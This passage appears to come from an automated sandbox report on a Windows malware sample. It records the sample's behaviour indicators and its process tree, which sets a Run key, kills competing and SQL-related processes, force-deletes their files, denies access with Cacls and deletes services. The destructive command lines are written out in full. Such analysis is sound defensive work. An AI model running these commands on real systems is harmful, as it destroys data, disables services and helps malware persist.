Token: SeDebugPrivilege	2524	taskkill.exe
Token: SeDebugPrivilege	3944	taskkill.exe
Token: SeDebugPrivilege	2592	taskkill.exe
Token: SeDebugPrivilege	4304	taskkill.exe
Token: SeDebugPrivilege	248	taskkill.exe
Token: SeDebugPrivilege	4796	taskkill.exe
Token: SeDebugPrivilege	1560	taskkill.exe
Token: SeDebugPrivilege	6904	taskkill.exe
Token: SeDebugPrivilege	2388	taskkill.exe
Token: SeDebugPrivilege	3816	taskkill.exe
Token: SeDebugPrivilege	1252	taskkill.exe
Token: SeDebugPrivilege	2668	taskkill.exe
Token: SeDebugPrivilege	1280	taskkill.exe
Token: SeDebugPrivilege	4072	taskkill.exe
Token: SeDebugPrivilege	4172	taskkill.exe
Token: SeDebugPrivilege	2960	taskkill.exe
Token: SeDebugPrivilege	6252	taskkill.exe
Token: SeDebugPrivilege	6092	taskkill.exe
Token: SeDebugPrivilege	6008	taskkill.exe
Token: SeDebugPrivilege	5600	taskkill.exe
Token: SeDebugPrivilege	7028	taskkill.exe
Token: SeDebugPrivilege	6332	taskkill.exe
Token: SeDebugPrivilege	6428	taskkill.exe
Token: SeDebugPrivilege	1832	taskkill.exe
Token: SeDebugPrivilege	6952	taskkill.exe
Token: SeDebugPrivilege	6856	taskkill.exe
Token: SeDebugPrivilege	1444	taskkill.exe
Token: SeDebugPrivilege	540	taskkill.exe
Token: SeDebugPrivilege	2544	taskkill.exe
Token: SeDebugPrivilege	1328	taskkill.exe
Token: SeDebugPrivilege	5560	taskkill.exe
Token: SeDebugPrivilege	2720	taskkill.exe
Token: SeDebugPrivilege	2784	taskkill.exe
Token: SeDebugPrivilege	908	taskkill.exe
Token: SeDebugPrivilege	6680	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
3228	SQLAGENTSWE.exe
3228	SQLAGENTSWE.exe
1764	SQLAGENTSWE.exe
1764	SQLAGENTSWE.exe
2544	SQLAGENTSWE.exe
2544	SQLAGENTSWE.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3416 wrote to memory of 5980	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	89
PID 5980 wrote to memory of 6252	5980	cmd.exe	91
PID 3416 wrote to memory of 2036	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	92
PID 2036 wrote to memory of 3896	2036	cmd.exe	95
PID 3416 wrote to memory of 4676	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	96
PID 4676 wrote to memory of 3088	4676	cmd.exe	98
PID 3416 wrote to memory of 5324	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	99
PID 3416 wrote to memory of 5984	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	101
PID 3416 wrote to memory of 6432	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	103
PID 3416 wrote to memory of 5948	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	105
PID 3416 wrote to memory of 5132	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	107
PID 6432 wrote to memory of 6732	6432	cmd.exe	109
PID 3416 wrote to memory of 5600	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	110
PID 3416 wrote to memory of 1232	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	112
PID 3416 wrote to memory of 2788	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	114
PID 3416 wrote to memory of 2656	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	116
PID 3416 wrote to memory of 4984	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	118
PID 2788 wrote to memory of 6264	2788	cmd.exe	120
PID 3416 wrote to memory of 2044	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	121
PID 3416 wrote to memory of 7144	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	123
PID 3416 wrote to memory of 6488	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	125
PID 2656 wrote to memory of 5016	2656	cmd.exe	126
PID 4984 wrote to memory of 5004	4984	cmd.exe	128
PID 3416 wrote to memory of 6512	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	129
PID 3416 wrote to memory of 6528	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	131
PID 3416 wrote to memory of 3104	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	133
PID 2044 wrote to memory of 4684	2044	cmd.exe	135
PID 3416 wrote to memory of 4312	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	136
PID 3416 wrote to memory of 4144	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	138
PID 3416 wrote to memory of 5708	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	139
PID 3416 wrote to memory of 2708	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	142
PID 3416 wrote to memory of 5520	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	143
PID 3416 wrote to memory of 1808	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	144
PID 3416 wrote to memory of 6548	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	145
PID 3416 wrote to memory of 7160	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	146
PID 3416 wrote to memory of 1928	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	150
PID 6488 wrote to memory of 7020	6488	cmd.exe	152
PID 3416 wrote to memory of 5676	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	154
PID 7144 wrote to memory of 1976	7144	cmd.exe	156
PID 3416 wrote to memory of 3600	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	157
PID 3416 wrote to memory of 4068	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	158
PID 3416 wrote to memory of 2760	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	161
PID 3416 wrote to memory of 2648	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	162
PID 3416 wrote to memory of 3956	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	163
PID 3416 wrote to memory of 5792	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	166
PID 1808 wrote to memory of 2020	1808	cmd.exe	275
PID 3416 wrote to memory of 1564	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	170
PID 6528 wrote to memory of 1100	6528	cmd.exe	172
PID 5520 wrote to memory of 6564	5520	cmd.exe	277
PID 6512 wrote to memory of 5356	6512	cmd.exe	175
PID 3104 wrote to memory of 6640	3104	cmd.exe	176
PID 4312 wrote to memory of 2488	4312	cmd.exe	177
PID 4068 wrote to memory of 2536	4068	cmd.exe	178
PID 2760 wrote to memory of 2468	2760	cmd.exe	179
PID 3416 wrote to memory of 2484	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	301
PID 3416 wrote to memory of 3400	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	181
PID 3416 wrote to memory of 1896	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	182
PID 3416 wrote to memory of 784	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	183
PID 3416 wrote to memory of 1212	3416	cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe	184
PID 5708 wrote to memory of 4544	5708	cmd.exe	187
PID 2708 wrote to memory of 248	2708	cmd.exe	317
PID 4144 wrote to memory of 240	4144	cmd.exe	190
PID 6548 wrote to memory of 260	6548	cmd.exe	191
PID 5792 wrote to memory of 6168	5792	cmd.exe	194

C:\Users\Admin\AppData\Local\Temp\cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe
"C:\Users\Admin\AppData\Local\Temp\cd1ff3ce7c8da0812d6deb26e6016c27b76f27dc660cc5843972f1fe0a34ac6c.exe"
1⤵
- Adds policy Run key to start application
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im wscript.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5980
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWD.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskger.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskger.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3088
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\taskger.exe
  2⤵
  PID:5324
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\taskger.exe
  2⤵
  PID:5984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgzr.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6432
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgzr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\taskmgzr.exe
  2⤵
  PID:5948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\taskmgzr.exe
  2⤵
  PID:5132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\ProgramData\vget.vbs
  2⤵
  PID:5600
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\RECYCLER\vget.vbs
  2⤵
  PID:1232
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im assm.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6264
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls assm.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\SysWOW64\cacls.exe
    Cacls assm.exe /t /e /c /d everyone
    3⤵
    PID:5016
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls assm.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Windows\SysWOW64\cacls.exe
    Cacls assm.exe /t /e /c /d system
    3⤵
    PID:5004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SqlManagement.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4684
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SqlManagement.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:7144
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SqlManagement.exe /t /e /c /d everyone
    3⤵
    PID:1976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SqlManagement.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6488
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SqlManagement.exe /t /e /c /d system
    3⤵
    PID:7020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SystemManagement.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6512
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5356
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SystemManagement.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6528
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SystemManagement.exe /t /e /c /d everyone
    3⤵
    PID:1100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls SystemManagement.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\SysWOW64\cacls.exe
    Cacls SystemManagement.exe /t /e /c /d system
    3⤵
    PID:6640
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im msinfo.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im msinfo.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls msinfo.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /d everyone
    3⤵
    PID:240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls msinfo.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5708
- - C:\Windows\SysWOW64\cacls.exe
    Cacls msinfo.exe /t /e /c /d system
    3⤵
    PID:4544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im rundlls.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im rundlls.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls rundlls.exe /t /e /c /d everyone
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5520
- - C:\Windows\SysWOW64\cacls.exe
    Cacls rundlls.exe /t /e /c /d everyone
    3⤵
    PID:6564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls rundlls.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1808
- - C:\Windows\SysWOW64\cacls.exe
    Cacls rundlls.exe /t /e /c /d system
    3⤵
    PID:2020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6548
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:260
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls conhoy.exe /t /e /c /d everyone
  2⤵
  PID:7160
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /d everyone
    3⤵
    PID:6156
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls conhoy.exe /t /e /c /d system
  2⤵
  PID:1928
- - C:\Windows\SysWOW64\cacls.exe
    Cacls conhoy.exe /t /e /c /d system
    3⤵
    PID:1612
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im OmdBase.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5676
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls OmdBase.exe /t /e /c /d everyone
  2⤵
  PID:3600
- - C:\Windows\SysWOW64\cacls.exe
    Cacls OmdBase.exe /t /e /c /d everyone
    3⤵
    PID:6840
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls OmdBase.exe /t /e /c /d system
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\SysWOW64\cacls.exe
    Cacls OmdBase.exe /t /e /c /d system
    3⤵
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im System.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls System.exe /t /e /c /d everyone
  2⤵
  PID:2648
- - C:\Windows\SysWOW64\cacls.exe
    Cacls System.exe /t /e /c /d everyone
    3⤵
    PID:680
- C:\Windows\SysWOW64\cmd.exe
  cmd /c Cacls System.exe /t /e /c /d system
  2⤵
  PID:3956
- - C:\Windows\SysWOW64\cacls.exe
    Cacls System.exe /t /e /c /d system
    3⤵
    PID:1860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spoolys.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spoolys.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im OmdBase.exe
  2⤵
  PID:1564
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft Maker\OmdBase.exe
  2⤵
  PID:2484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft Maker\OmdBase.exe
  2⤵
  PID:3400
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft Maker\OmdBase.exe
  2⤵
  PID:1896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows DVD Maker"
  2⤵
  PID:784
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:4748
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Windows DVD Maker"
  2⤵
  PID:1212
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Windows DVD Maker"
    3⤵
    - Launches sc.exe
    PID:5528
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im GthUdTask.exe
  2⤵
  PID:3164
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im GthUdTask.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6736
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1984
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:6296
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft GthUdTask\GthUdTask.exe
  2⤵
  PID:6620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies GthUdTask"
  2⤵
  PID:6176
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:3492
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies GthUdTask"
  2⤵
  PID:5928
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies GthUdTask"
    3⤵
    - Launches sc.exe
    PID:6104
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im BthUdTask.exe
  2⤵
  PID:1736
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im BthUdTask.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  PID:5696
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft BthUdTask\BthUdTask.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3480
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies BthUdTask"
  2⤵
  PID:1728
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:6236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies BthUdTask"
  2⤵
  PID:3256
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies BthUdTask"
    3⤵
    - Launches sc.exe
    PID:6496
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SvidaPctb.exe
  2⤵
  PID:7032
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SvidaPctb.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:5572
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:5288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SvidaPctb\SvidaPctb.exe
  2⤵
  PID:5636
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im WavesSys.exe
  2⤵
  PID:3088
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WavesSys.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies WavesSys"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1848
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies WavesSys"
    3⤵
    - Launches sc.exe
    PID:5948
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc delete "Corporati Assemblies WavesSys"
  2⤵
  PID:5264
- - C:\Windows\SysWOW64\sc.exe
    sc delete "Corporati Assemblies WavesSys"
    3⤵
    - Launches sc.exe
    PID:5796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im System.exe
  2⤵
  PID:3920
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft StuSystem\System.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files (x86)\Microsoft StuSystem\System.exe
  2⤵
  PID:6908
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft StuSystem\System.exe
  2⤵
  PID:4816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im spoolys.exe
  2⤵
  PID:3464
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im spoolys.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\Help\spoolys.exe
  2⤵
  PID:5964
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im lsma12.exe
  2⤵
  PID:5208
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im lsma12.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\INF\aspnet\lsma12.exe
  2⤵
  PID:4428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im assm.exe
  2⤵
  PID:3612
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im assm.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5744
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
  2⤵
  PID:2420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sqlcmd.exe
  2⤵
  PID:6564
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sqlcmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:52
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
  2⤵
  PID:2440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
  2⤵
  PID:1552
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhos.exe
  2⤵
  PID:6292
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhos.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4432
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhos.exe
  2⤵
  PID:2132
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhos.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6156
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhou.exe
  2⤵
  PID:256
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhou.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhou.exe
  2⤵
  PID:4680
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhou.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3576
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im m6.bin.bin.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1824
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im m6.bin.bin.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2484
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im javaw.exe
  2⤵
  PID:1616
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im javaw.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3820
- C:\Windows\SysWOW64\cmd.exe
